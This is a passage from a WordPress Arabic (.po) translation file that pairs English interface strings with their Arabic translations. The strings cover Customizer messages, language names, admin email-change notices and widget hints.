"مع التحيّة،\n"
"###SITENAME###\n"
"###SITEURL###"

#. translators: %s: New email address.
#: wp-includes/user.php:3757
msgid "Your email address has not been updated yet. Please check your inbox at %s for a confirmation email."
msgstr "بريدك الإلكتروني لم يتم تحديثه إلى الآن. يرجى فحص صندوق الوارد في %s للتحقق من البريد الإلكتروني."

#: wp-includes/user.php:3667
msgid "<strong>Error:</strong> The email address is already used."
msgstr "<strong>خطأ:</strong> عنوان البريد الإلكتروني مُستخدم بالفعل."

#: wp-includes/class-wp-taxonomy.php:638
msgid "&larr; Go to Categories"
msgstr "&rarr; الانتقال إلى التصنيفات"

#: wp-includes/taxonomy.php:154
msgid "&larr; Go to Link Categories"
msgstr "&rarr; الانتقال إلى روابط التصنيفات"

#: wp-includes/script-loader.php:1276
msgid "Homepage and posts page must be different."
msgstr "يجب أن تكون الصفحة الرئيسية وصفحة المقالات مختلفتين."

#. translators: %d: Error count.
#: wp-includes/script-loader.php:1271 wp-includes/script-loader.php:1273
#: wp-includes/widgets/class-wp-widget-custom-html.php:229
#: wp-includes/widgets/class-wp-widget-custom-html.php:231
msgid "There is %d error which must be fixed before you can save."
msgid_plural "There are %d errors which must be fixed before you can save."
msgstr[0] "هناك %d أخطاء يجب تصحيحها قبل أن تتمكن من الحفظ."
msgstr[1] "هناك خطأ واحد (%d) يجب تصحيحه قبل أن تتمكن من الحفظ."
msgstr[2] "هناك خطآن (%d) يجب تصحيحهما قبل أن تتمكن من الحفظ."
msgstr[3] "هناك %d أخطاء يجب تصحيحها قبل أن تتمكن من الحفظ."
msgstr[4] "هناك %d خطأ يجب تصحيحه قبل أن تتمكن من الحفظ."
msgstr[5] "هناك %d خطأ يجب تصحيحه قبل أن تتمكن من الحفظ."

#: wp-includes/script-loader.php:1285
msgid "Sorry, you cannot preview new themes when you have changes scheduled or saved as a draft. Please publish your changes, or wait until they publish to preview new themes."
msgstr "عذراً، لا يمكنك معاينة القوالب الجديدة عند إجراء تغييرات مجدولة أو محفوظة كمسودات. يرجى نشر تغييراتك، أو الانتظار حتى يتم نشرها لمعاينة القوالب الجديدة."

#: wp-includes/script-loader.php:1284
msgid "Schedule your customization changes to publish (\"go live\") at a future date."
msgstr "قم بجدولة التغييرات التي تجريها على التخصيص حتى يتم نشرها (\"تعرض مباشرة\") في تاريخ مستقبلي."

#: wp-includes/script-loader.php:1258
msgid "Downloading your new theme&hellip;"
msgstr "جاري تحميل قالبك الجديد&hellip;"

#: wp-includes/script-loader.php:1237
msgid "Updating"
msgstr "جاري التحديث"

#: wp-includes/script-loader.php:1236
msgid "Draft Saved"
msgstr "تم حفظ المسودة"

#: wp-includes/script-loader.php:1248
msgid "Discard changes"
msgstr "تجاهل التغييرات"

#: wp-includes/script-loader.php:1097
msgid "Ukrainian"
msgstr "اوكراني"

#: wp-includes/script-loader.php:1096
msgid "Turkish"
msgstr "تركي"

#: wp-includes/script-loader.php:1095
msgid "Thai"
msgstr "تايلاندي"

#: wp-includes/script-loader.php:1093
msgid "Swedish"
msgstr "سويدي"

#: wp-includes/script-loader.php:1088
msgid "Serbian"
msgstr "صربي"

#: wp-includes/script-loader.php:1087
msgid "Russian"
msgstr "روسي"

#: wp-includes/script-loader.php:1086
msgid "Romanian"
msgstr "روماني"

#: wp-includes/script-loader.php:1085
msgid "Portuguese"
msgstr "برتغالي"

#: wp-includes/script-loader.php:1082
msgid "Norwegian"
msgstr "نرويجي"

#: wp-includes/script-loader.php:1091
msgid "Spanish"
msgstr "اسبانية"

#: wp-includes/script-loader.php:1089
msgid "Slovak"
msgstr "سلوفاكية"

#: wp-includes/script-loader.php:1084
msgid "Polish"
msgstr "بولندية"

#: wp-includes/script-loader.php:1079
msgid "Macedonian"
msgstr "مكدونية"

#: wp-includes/script-loader.php:1077
msgid "Latvian"
msgstr "اللاتفية"

#: wp-includes/script-loader.php:1259
msgid "Setting up your live preview. This may take a bit."
msgstr "إعداد المعاينة المباشرة الخاصة بك. قد يستغرق ذلك قليلاً."

#: wp-includes/script-loader.php:1092
msgid "Swahili"
msgstr "سواحلية"

#: wp-includes/script-loader.php:1098
msgid "Vietnamese"
msgstr "فيتانامية"

#: wp-includes/script-loader.php:1074
msgid "Italian"
msgstr "إيطالية"

#: wp-includes/script-loader.php:1073
msgid "Irish"
msgstr "إيرلندية"

#: wp-includes/script-loader.php:1075
msgid "Japanese"
msgstr "يابانية"

#: wp-includes/script-loader.php:1090
msgid "Slovenian"
msgstr "سلوفينية"

#: wp-includes/script-loader.php:1241
msgid "Please save your changes in order to share the preview."
msgstr "يرجى حفظ تغييراتك لمشاركة المعاينة."

#: wp-includes/script-loader.php:1231 wp-admin/customize.php:193
msgid "Activate &amp; Publish"
msgstr "تفعيل ونشر"

#: wp-includes/script-loader.php:1078
msgid "Lithuanian"
msgstr "الليتوانية"

#: wp-includes/script-loader.php:1081
msgid "Maltese"
msgstr "المالطية"

#: wp-includes/script-loader.php:1080
msgid "Malay"
msgstr "المالية"

#: wp-includes/script-loader.php:1260
msgid "Reverting unpublished changes&hellip;"
msgstr "العودة إلى تغييرات غير منشورة&hellip;"

#: wp-includes/script-loader.php:1094
msgid "Tagalog"
msgstr "تغالوغية"

#: wp-includes/script-loader.php:1099
msgid "Welsh"
msgstr "ويلزية"

#: wp-includes/script-loader.php:1100
msgid "Yiddish"
msgstr "يديشية"

#. translators: %s: URL to the Customizer to load the autosaved version.
#: wp-includes/script-loader.php:1265
msgid "There is a more recent autosave of your changes than the one you are previewing. <a href=\"%s\">Restore the autosave</a>"
msgstr "هناك أكثر من سجل حفظ تلقائي للتغييرات التي تجريها أحدث من الذي تقوم بمعاينته الآن. <a href=\"%s\">استعادة الحفظ التلقائي</a>"

#: wp-includes/script-loader.php:1261
msgid "Are you sure you want to discard your unpublished changes?"
msgstr "هل أنت متأكد من رغبتك بتجاهل تغييراتك الغير منشورة؟"

#: wp-includes/script-loader.php:1083
msgid "Persian"
msgstr "الفارسية"

#: wp-includes/script-loader.php:1076
msgid "Korean"
msgstr "الكورية"

#: wp-includes/script-loader.php:1057
msgid "Danish"
msgstr "دنماركية"

#: wp-includes/script-loader.php:1055
msgid "Croatian"
msgstr "الكرواتية"

#: wp-includes/script-loader.php:1068
msgid "Hebrew"
msgstr "العبرية"

#: wp-includes/script-loader.php:1067
msgid "Haitian Creole"
msgstr "الكريولية الهايتية"

#: wp-includes/script-loader.php:1066
msgid "Greek"
msgstr "اليونانية"

#: wp-includes/script-loader.php:1064
msgid "Galician"
msgstr "الجاليكية"

#: wp-includes/script-loader.php:1063
msgid "French"
msgstr "الفرنسية"

#: wp-includes/script-loader.php:1061
msgid "Filipino"
msgstr "الفلبينية"

#: wp-includes/script-loader.php:1060
msgid "Estonian"
msgstr "الإستونية"

#: wp-includes/script-loader.php:1054
msgid "Chinese (Traditional)"
msgstr "صينية (التقليدية)"

#: wp-includes/script-loader.php:1053
msgid "Chinese (Simplified)"
msgstr "صينية (المبسطة)"

#: wp-includes/script-loader.php:1052
msgid "Chinese"
msgstr "صينية"

#: wp-includes/script-loader.php:1051
msgid "Catalan"
msgstr "كاتالونية"

#: wp-includes/script-loader.php:1050
msgid "Bulgarian"
msgstr "بلغارية"

#: wp-includes/script-loader.php:1049
msgid "Belarusian"
msgstr "بيلاروسية"

#: wp-includes/script-loader.php:1056
msgid "Czech"
msgstr "تشيكية"

#: wp-includes/script-loader.php:1071
msgid "Icelandic"
msgstr "أيسلندية"

#: wp-includes/script-loader.php:1072
msgid "Indonesian"
msgstr "أندونيسية"

#: wp-includes/script-loader.php:1059
#: wp-includes/js/dist/block-library.js:56430 wp-admin/includes/ms.php:652
msgid "English"
msgstr "إنجليزية"

#: wp-includes/script-loader.php:1058
msgid "Dutch"
msgstr "هولندية"

#: wp-includes/script-loader.php:1069
msgid "Hindi"
msgstr "الهندية"

#: wp-includes/script-loader.php:1065
msgid "German"
msgstr "الألمانية"

#: wp-includes/script-loader.php:1070
msgid "Hungarian"
msgstr "الهنغارية"

#: wp-includes/script-loader.php:1048
msgid "Arabic"
msgstr "العربية"

#: wp-includes/script-loader.php:1047
msgid "Albanian"
msgstr "الألبانية"

#: wp-includes/script-loader.php:1036
msgid "Live Broadcast"
msgstr "بث مباشر"

#: wp-includes/script-loader.php:1046
msgid "Afrikaans"
msgstr "الإفريقانية"

#: wp-includes/script-loader.php:1044
#: wp-includes/js/dist/block-library.js:56326
msgid "Chapters"
msgstr "فصول"

#: wp-includes/script-loader.php:1030
msgid "You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/"
msgstr "أنت تستخدم متصفح لا يحتوي على مشغل فلاش مفعّل أو منصّب مسبقاً. الرجاء قم بتفعيل إضافة مشغل الفلاش (Flash player plugin) على متصفحك أو قم بتنزيل آخر إصدار من https://get.adobe.com/flashplayer/"

#. translators: %s: Post custom field name.
#: wp-includes/post-template.php:1133
msgctxt "Post custom field name"
msgid "%s:"
msgstr "%s:"

#: wp-includes/post.php:250
msgid "oEmbed Response"
msgstr "استجابة oEmbed"

#: wp-includes/post.php:249
msgid "oEmbed Responses"
msgstr "استجابات oEmbed"

#. translators: %s: register_routes()
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:53
msgid "Method '%s' must be overridden."
msgstr "لا بد من تجاوز الطريقة '%s'."

#. translators: 1: Comment author's name, 2: Comment author's IP address, 3:
#. Comment author's hostname.
#: wp-includes/pluggable.php:1755 wp-includes/pluggable.php:1939
msgid "Author: %1$s (IP address: %2$s, %3$s)"
msgstr "الكاتب: %1$s (عنوان الـ IP: %2$s، %3$s)"

#. translators: 1: Trackback/pingback website name, 2: Website IP address, 3:
#. Website hostname.
#: wp-includes/pluggable.php:1727 wp-includes/pluggable.php:1741
#: wp-includes/pluggable.php:1917 wp-includes/pluggable.php:1928
msgid "Website: %1$s (IP address: %2$s, %3$s)"
msgstr "الموقع: %1$s (عنوان الـ IP: %2$s، %3$s)"

#. translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those
#. are placeholders.
#: wp-includes/ms-functions.php:2833
msgid ""
"Hi,\n"
"\n"
"This notice confirms that the network admin email address was changed on ###SITENAME###.\n"
"\n"
"The new network admin email address is ###NEW_EMAIL###.\n"
"\n"
"This email has been sent to ###OLD_EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحباً\n"
"\n"
"يؤكد لك هذا الإشعار أن عنوان البريد الإلكتروني الخاص بمدير الشبكة تمّ تغييره على موقع ###SITENAME###.\n"
"\n"
"البريد الإلكتروني الجديد لمدير الشبكة هو ###NEW_EMAIL###.\n"
"\n"
"تم إرسال هذه الرسالة إلى البريد القديم ###OLD_EMAIL###\n"
"\n"
"مع التحيّة،\n"
"###SITENAME###\n"
"###SITEURL###"

#. translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL:
#. those are placeholders.
#: wp-includes/ms-functions.php:2735
msgid ""
"Howdy ###USERNAME###,\n"
"\n"
"You recently requested to have the network admin email address on\n"
"your network changed.\n"
"\n"
"If this is correct, please click on the following link to change it:\n"
"###ADMIN_URL###\n"
"\n"
"You can safely ignore and delete this email if you do not want to\n"
"take this action.\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبًا ###USERNAME###،\n"
"\n"
"لقد تقدمت مؤخرا بطلب تغيير عنوان البريد الإلكتروني\n"
"لمدير شبكتك.\n"
"\n"
"إذا كان هذا صحيحا، رجاء اضغط على الرابط التالي لتغييره:\n"
"###ADMIN_URL###\n"
"\n"
"يمكنك تجاهل هذا البريد الإلكتروني وحذفه بأمان أذا كنت\n"
"لا ترغب في اتخاذ هذا الأجراء.\n"
"\n"
"تم إرسال هذا البريد الإلكتروني إلى ###EMAIL###\n"
"\n"
"تحياتنا،\n"
"فريق ###SITENAME###\n"
"###SITEURL###"

#. translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those
#. are placeholders.
#: wp-includes/functions.php:7680
msgid ""
"Hi,\n"
"\n"
"This notice confirms that the admin email address was changed on ###SITENAME###.\n"
"\n"
"The new admin email address is ###NEW_EMAIL###.\n"
"\n"
"This email has been sent to ###OLD_EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحباً\n"
"\n"
"يؤكد لك هذا الإشعار أن البريد الإلكتروني للمدير تمّ تغييره على موقع ###SITENAME###.\n"
"\n"
"البريد الإلكتروني الجديد للمدير هو ###NEW_EMAIL###.\n"
"\n"
"تم إرسال هذه الرسالة إلى البريد القديم ###OLD_EMAIL###\n"
"\n"
"مع التحيّة،\n"
"###SITENAME###\n"
"###SITEURL###"

#: wp-includes/ms-functions.php:182
msgid "User cannot be added to this site."
msgstr "لا يمكن إضافة المستخدم إلى هذا الموقع."

#: wp-includes/load.php:1668
msgid "Scrape key check failed. Please try again."
msgstr "فشل فحص مفتاح الاستخراج. الرجاء المحاولة مرة أخرى."

#: wp-includes/customize/class-wp-customize-theme-control.php:291
#: wp-includes/customize/class-wp-customize-theme-control.php:293
#: wp-admin/includes/theme.php:1080 wp-admin/includes/theme.php:1083
msgid "Install &amp; Preview"
msgstr "التنصيب والمعاينة"

#. translators: %s: Number of themes displayed.
#: wp-includes/customize/class-wp-customize-themes-section.php:172
msgid "%s themes"
msgstr "%s قالب"

#: wp-includes/functions.php:7599
msgid "Only UUID V4 is supported at this time."
msgstr "فقط UUID V4 وحده المدعوم حاليًا."

#: wp-includes/deprecated.php:3950 wp-includes/deprecated.php:3967
#: wp-admin/press-this.php:74
msgid "The Press This plugin is required."
msgstr "الإضافة Press This مطلوبة."

#: wp-includes/customize/class-wp-customize-themes-section.php:103
msgid "Search WordPress.org themes"
msgstr "البحث في قوالب WordPress.org"

#. translators: %s: Number of filters selected.
#: wp-includes/customize/class-wp-customize-themes-section.php:146
msgid "Filter themes (%s)"
msgstr "تصفية القوالب (%s)"

#: wp-includes/customize/class-wp-customize-themes-section.php:124
msgid "Go to theme sources"
msgstr "الانتقال إلى مصادر القالب"

#: wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:731
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:862
msgid "Invalid URL."
msgstr "رابط غير صالح."

#. translators: %s: "Add Items" button text.
#: wp-includes/customize/class-wp-customize-nav-menu-control.php:46
msgid "Time to add some links! Click &#8220;%s&#8221; to start putting pages, categories, and custom links in your menu. Add as many things as you would like."
msgstr "حان الوقت لإضافة بعض الروابط! أنقر على &#8221;%s&#8220; للبدء بإضافة صفحات، تصنيفات، وروابط مخصصة للقائمة الخاصة بك. يمكنك إضافة العديد من العناصر كما تريد."

#: wp-includes/customize/class-wp-customize-media-control.php:252
#: wp-includes/media.php:4664
msgid "Choose image"
msgstr "اختيار صورة"

#: wp-includes/customize/class-wp-customize-media-control.php:236
msgid "Change audio"
msgstr "تغيير الصوت"

#: wp-includes/customize/class-wp-customize-media-control.php:241
msgid "Choose audio"
msgstr "اختيار الصوت"

#: wp-includes/customize/class-wp-customize-media-control.php:235
#: wp-includes/customize/class-wp-customize-media-control.php:240
msgid "Select audio"
msgstr "تحديد الصوت"

#. translators: %s: Header height in pixels.
#: wp-includes/customize/class-wp-customize-header-image-control.php:232
msgid "Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit."
msgstr "أنقر على &#8221;إضافة صورة جديدة&#8220; لرفع ملف صورة من كمبيوترك. القالب الخاص بك يعمل بشكل أفضل مع صورة، وبارتفاع للترويسة %s بكسل &#8212; ستتمكن من اقتصاص الصورة بمجرد أن تقوم برفعها لتكون مثالية."

#. translators: %s: Header width in pixels.
#: wp-includes/customize/class-wp-customize-header-image-control.php:226
msgid "Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit."
msgstr "أنقر على &#8221;إضافة صورة جديدة&#8220; لرفع ملف صورة من كمبيوترك. القالب الخاص بك يعمل بشكل أفضل مع صورة، وبعرض للترويسة %s بكسل &#8212; ستتمكن من اقتصاص الصورة بمجرد أن تقوم برفعها لتكون مثالية."

#. translators: %s: Header size in pixels.
#: wp-includes/customize/class-wp-customize-header-image-control.php:220
msgid "Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit."
msgstr "أنقر على &#8221;إضافة صورة جديدة&#8220; لرفع ملف صورة من كمبيوترك. القالب الخاص بك يعمل بشكل أفضل مع صورة، وبحجم للترويسة %s بكسل &#8212; ستتمكن من اقتصاص الصورة بمجرد أن تقوم برفعها لتكون مثالية."

#: wp-includes/customize/class-wp-customize-header-image-control.php:216
msgid "Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image that matches the size of your video &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit."
msgstr "أنقر على &#8221;إضافة صورة جديدة&#8220; لرفع ملف صورة من كمبيوترك. القالب الخاص بك يعمل بشكل أفضل مع صورة تتطابق مع حجم الفيديو الخاص بك &#8212; ستتمكن من اقتصاص الصورة بمجرد أن تقوم برفعها لتكون مثالية."

#. translators: 1: Month number (01, 02, etc.), 2: Month abbreviation.
#: wp-includes/customize/class-wp-customize-date-time-control.php:234
#: wp-admin/includes/template.php:843
msgid "%1$s-%2$s"
msgstr "%1$s-%2$s"

#: wp-includes/class-wp-customize-nav-menus.php:846
msgid "New Menu"
msgstr "قائمة جديدة"

#: wp-includes/class-wp-customize-nav-menus.php:1130
msgid "Create New Menu"
msgstr "إنشاء قائمة جديدة"

#: wp-includes/customize/class-wp-customize-date-time-control.php:127
#: wp-includes/js/dist/components.js:54122
#: wp-admin/includes/ajax-actions.php:2231
#: wp-admin/includes/class-wp-posts-list-table.php:717
#: wp-admin/includes/class-wp-posts-list-table.php:1669
msgid "Date"
msgstr "التاريخ"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:154
#: wp-includes/js/dist/block-library.js:2030
#: wp-includes/js/dist/components.js:53990 wp-admin/includes/template.php:849
msgid "Day"
msgstr "اليوم"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:180
#: wp-admin/includes/template.php:857
msgid "Hour"
msgstr "الساعة"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:198
msgid "Meridian"
msgstr "صباحاً/مساءً"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:190
#: wp-admin/includes/template.php:861
msgid "Minute"
msgstr "الدقيقة"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:133
#: wp-includes/js/dist/block-library.js:2024
#: wp-includes/js/dist/components.js:54007 wp-admin/includes/template.php:836
msgid "Month"
msgstr "الشهر"

#: wp-includes/customize/class-wp-customize-date-time-control.php:175
#: wp-includes/js/dist/components.js:54061
msgid "Time"
msgstr "الوقت"

#: wp-includes/class-wp-user.php:774
msgid "Usage of user levels is deprecated. Use capabilities instead."
msgstr "تم هجر استخدام مستويات المستخدم. استخدم الصلاحيات كبديل."

#: wp-includes/class-wp-editor.php:191 wp-includes/class-wp-editor.php:1389
msgctxt "Name for the Visual editor tab"
msgid "Visual"
msgstr "مرئي"

#. translators: %s: Template.
#: wp-includes/class-wp-theme.php:339
msgid "The theme defines itself as its parent theme. Please check the %s header."
msgstr "القالب يُعرّف نفسه باعتباره القالب الرئيسي. يرجى فحص ترويسة %s."

#. translators: URL to the Widgets panel of the Customizer.
#: wp-includes/class-wp-customize-nav-menus.php:694
msgid "If your theme has widget areas, you can also add menus there. Visit the <a href=\"%s\">Widgets panel</a> and add a &#8220;Navigation Menu widget&#8221; to display a menu in a sidebar or footer."
msgstr "إذا كان قالبك يحتوي على مناطق ودجات، يمكنك أيضاً إضافة قوائم هناك. انتقل إلى <a href=\"%s\">لوحة الودجات</a> وإضافة &#8221;ودجت قائمة تصفّح&#8220; لعرض قائمة في الشريط الجانبي أو التذييل."

#: wp-includes/class-wp-customize-nav-menus.php:494
msgid "Your theme can display menus in one location."
msgstr "يمكن لقالبك عرض القوائم في مكان واحد."

#: wp-includes/class-wp-customize-manager.php:5751
msgid "CSS code"
msgstr "شفرة CSS"

#: wp-includes/class-wp-customize-manager.php:5699
#: wp-includes/widgets/class-wp-widget-custom-html.php:323
#: wp-admin/plugin-editor.php:130 wp-admin/theme-editor.php:33
msgid "When using a keyboard to navigate:"
msgstr "عند استخدام لوحة المفاتيح للتنقل:"

#: wp-includes/class-wp-customize-manager.php:5689
msgid "Add your own CSS code here to customize the appearance and layout of your site."
msgstr "أضف تنسيقات الـ CSS الخاصة بك هنا لضبط وتخصيص مظهر وتصميم موقعك."

#: wp-includes/class-wp-customize-manager.php:5702
#: wp-includes/widgets/class-wp-widget-custom-html.php:326
#: wp-admin/plugin-editor.php:133 wp-admin/theme-editor.php:36
msgid "To move away from this area, press the Esc key followed by the Tab key."
msgstr "للخروج من هذه المنطقة، اضغط على  مفتاح الخروج (Esc) متبوعاً بمفتاح التبديل (Tab)."

#: wp-includes/class-wp-customize-manager.php:5701
#: wp-includes/widgets/class-wp-widget-custom-html.php:325
#: wp-admin/plugin-editor.php:132 wp-admin/theme-editor.php:35
msgid "In the editing area, the Tab key enters a tab character."
msgstr "في منطقة التحرير، مفتاح Tab يدرج رمز المسافة البادئة."

#: wp-includes/class-wp-customize-manager.php:5703
#: wp-includes/widgets/class-wp-widget-custom-html.php:327
#: wp-admin/plugin-editor.php:134 wp-admin/theme-editor.php:37
msgid "Screen reader users: when in forms mode, you may need to press the Esc key twice."
msgstr "مستخدمي قارئ الشاشة: عندنا تكون في وضع النماذج، قد تحتاج إلى الضغط على مفتاح Esc مرتين."

#: wp-includes/class-wp-customize-nav-menus.php:514
msgid "If your theme has multiple menus, giving them clear names will help you manage them."
msgstr "إذا كان قالبك يحتوي على عدة قوائم، فإن منهم أسماء واضحة سيساعدك على إدارتها."

#. translators: %s: Number of menu locations.
#: wp-includes/class-wp-customize-nav-menus.php:497
msgid "Your theme can display menus in %s location."
msgid_plural "Your theme can display menus in %s locations."
msgstr[0] "يُمكن لقالبك إظهار القوائم في %s أماكن."
msgstr[1] "يُمكن لقالبك إظهار القوائم في مكان واحد."
msgstr[2] "يُمكن لقالبك إظهار القوائم في مكانين."
msgstr[3] "يُمكن لقالبك إظهار القوائم في %s أماكن."
msgstr[4] "يُمكن لقالبك إظهار القوائم في %s مكان."
msgstr[5] "يُمكن لقالبك إظهار القوائم في %s مكان."

#: wp-includes/class-wp-customize-manager.php:5624
msgid "You can choose what&#8217;s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two Pages. One will become the homepage, and the other will be where your posts are displayed."
msgstr "يمكنك اختيار ما يتم عرضه على الصفحة الرئيسية لموقعك. يمكنك عرض آخر المقالات بحيث تكون مرتّبة بشكل زمني من الأحدث للأقدم (مدونة تقليدية)، أو أن تختار صفحة ثابتة لعرضها في الصفحة الرئيسية لموقعك. لتعيين صفحة رئيسية ثابتة، يجب عليك أولاً إنشاء صفحتين. إحداهما ستصبح الصفحة الرئيسية، أما الصفحة الثانية الأخرى ستظهر فيها المقالات التي ستكتبها."

#. translators: 1: Link to user profile, 2: Additional link attributes, 3:
#. Accessibility text.
#: wp-includes/class-wp-customize-manager.php:5710
#: wp-includes/widgets/class-wp-widget-custom-html.php:312
msgid "The edit field automatically highlights code syntax. You can disable this in your <a href=\"%1$s\" %2$s>user profile%3$s</a> to work in plain text mode."
msgstr "حقل التحرير يسلط الضوء تلقائياً على بنية وصيغة الشفرة. يمكنك تعطيل هذا في <a href=\"%1$s\" %2$s>الملف الشخصي%3$s</a> الخاص بك للعمل في وضع النص العادي."

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:5641
#: wp-admin/options-reading.php:87 wp-admin/options-reading.php:92
msgid "Your homepage displays"
msgstr "تعرض صفحتك الرئيسية"

#: wp-includes/class-wp-customize-manager.php:5622
msgid "Homepage Settings"
msgstr "إعدادات الصفحة الرئيسية"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:4363
msgid "Preview Link"
msgstr "رابط المعاينة"

#: wp-includes/class-wp-customize-manager.php:5090
msgid "WordPress.org themes"
msgstr "قوالب WordPress.org "

#: wp-includes/class-wp-customize-manager.php:4355
msgid "Share Preview Link"
msgstr "مشاركة رابط المعاينة"

#: wp-includes/class-wp-customize-manager.php:3141
msgid "There was an authentication problem. Please reload and try again."
msgstr "حدثت مشكلة في المصادقة. الرجاء إعادة التحميل والمحاولة مرة أخرى."

#. translators: %s: Number of invalid settings.
#: wp-includes/class-wp-customize-manager.php:2794
#: wp-includes/script-loader.php:1279 wp-includes/script-loader.php:1281
msgid "Unable to save due to %s invalid setting."
msgid_plural "Unable to save due to %s invalid settings."
msgstr[0] "تعذر الحفظ بسبب %s إعداد غير صالح."
msgstr[1] "تعذر الحفظ بسبب إعداد (%s) غير صالح."
msgstr[2] "تعذر الحفظ بسبب إعدادين (%s) غير صالحين."
msgstr[3] "تعذر الحفظ بسبب %s إعدادات غير صالحة."
msgstr[4] "تعذر الحفظ بسبب %s إعداد غير صالح."
msgstr[5] "تعذر الحفظ بسبب %s إعداد غير صالح."

#: wp-includes/class-wp-customize-manager.php:2675
#: wp-includes/class-wp-customize-manager.php:2690
#: wp-includes/script-loader.php:1242
msgid "You must supply a future date to schedule."
msgstr "عليك توفير تاريخ في المستقبل من أجل الجدولة."

#: wp-includes/class-wp-customize-manager.php:3203
msgid "Changes trashed successfully."
msgstr "تم نقل التغييرات إلى سلة المهملات بنجاح."

#: wp-includes/class-wp-customize-manager.php:3151
msgid "No changes saved yet, so there is nothing to trash."
msgstr "لم يتم حفظ أي تغييرات بعد، لذا ليس هناك شيء للحذف."

#: wp-includes/class-wp-customize-manager.php:3163
#: wp-includes/class-wp-customize-manager.php:3196
msgid "Unable to trash changes."
msgstr "غير قادر على حذف التغييرات."

#: wp-includes/class-wp-customize-manager.php:3184
msgid "Changes have already been trashed."
msgstr "تم وضع التغييرات في سلة المهملات بالفعل."

#. translators: %s: Site icon size in pixels.
#: wp-includes/class-wp-customize-manager.php:5196
msgid "Site Icons should be square and at least %s pixels."
msgstr "أيقونات الموقع يجب أن تكون مربعة وعلى الأقل %s بيكسل."

#: wp-includes/class-wp-customize-manager.php:4376
msgid "Copied"
msgstr "تم النسخ"

#: wp-includes/class-wp-customize-manager.php:5075
msgid "Installed themes"
msgstr "القوالب المنصّبة"

#: wp-includes/class-wp-customize-manager.php:4357
msgid "See how changes would look live on your website, and share the preview with people who can't access the Customizer."
msgstr "شاهد كيف ستبدو التعديلات على موقعك، و شارك هذه المعاينة مع أناس ليس لديهم صلاحية وصول لـ المخصّص."

#: wp-includes/class-wp-customize-manager.php:5194
msgid "Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. Upload one here!"
msgstr "أيقونات الموقع هي الأيقونة التي تراها على تبويبات متصفحك، وشريط الإشارات المرجعية، وضمن تطبيقات ووردبريس للأجهزة المحمولة. قم برفع أيقونة هنا!"

#: wp-includes/script-loader.php:1291 wp-admin/customize.php:196
#: wp-admin/customize.php:201 wp-admin/edit-form-advanced.php:396
msgid "Publish Settings"
msgstr "إعدادات النشر"

#: wp-includes/admin-bar.php:880
msgid "Edit User"
msgstr "تحرير المستخدم"

#: wp-includes/admin-bar.php:834
msgid "View User"
msgstr "عرض المستخدم"

#: wp-includes/class-wp-customize-manager.php:2652
msgid "The previous set of changes has already been published. Please try saving your current set of changes again."
msgstr "تم نشر التغييرات السابقة بالفعل. الرجاء محاولة حفظ التغييرات الحالية مجدداً."

#: wp-includes/widgets/class-wp-widget-text.php:499
msgid "This widget may have contained code that may work better in the &#8220;Custom HTML&#8221; widget. If you have not yet, how about trying that widget instead?"
msgstr "قد يكون هذا الودجت محتوياً على شفرة قد تعمل بشكل أفضل في الودجت &#8221;HTML مخصص&#8220;. إذا لم يكن لديك بعد، ماذا عن المحاولة في تجربة هذا الودجت بدلاً عنه؟"

#: wp-includes/widgets/class-wp-widget-text.php:552
msgid "Hey there, looks like you just pasted HTML into the &#8220;Visual&#8221; tab of the Text widget. You may want to paste your code into the &#8220;Text&#8221; tab instead. Alternately, try out the new &#8220;Custom HTML&#8221; widget!"
msgstr "مرحبا، كما هو الحال عندما تقوم بلصق كود HTML في التبويب &#8221;مرئي&#8220; في الودجت من نوع \"نص\". قد ترغب بلصق الأكواد الخاصة بك في التبويب &#8221;نص&#8220; بدلاً من ذلك. قم بتجربة ودجت &#8221;HTML مخصص&#8220; الجديد عوضاً عن ذلك."

#: wp-includes/widgets/class-wp-widget-text.php:551
msgid "Did you just paste HTML?"
msgstr "هل قمت بلصق HTML فقط؟"

#: wp-includes/widgets/class-wp-widget-text.php:536
msgid "Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by scanning the list of available widgets on this screen. Check it out to add some custom code to your site!"
msgstr "مرحبا، هل علمت أن هناك &#8221;HTML مخصص&#8220; الآن؟ يمكنك العثور عليه بفحص قائمة الودجات المتوفرة على هذه الشاشة. قم بتجربته لإضافة بعض الأكواد المخصصة إلى موقعك!"

#: wp-includes/widgets/class-wp-widget-text.php:534
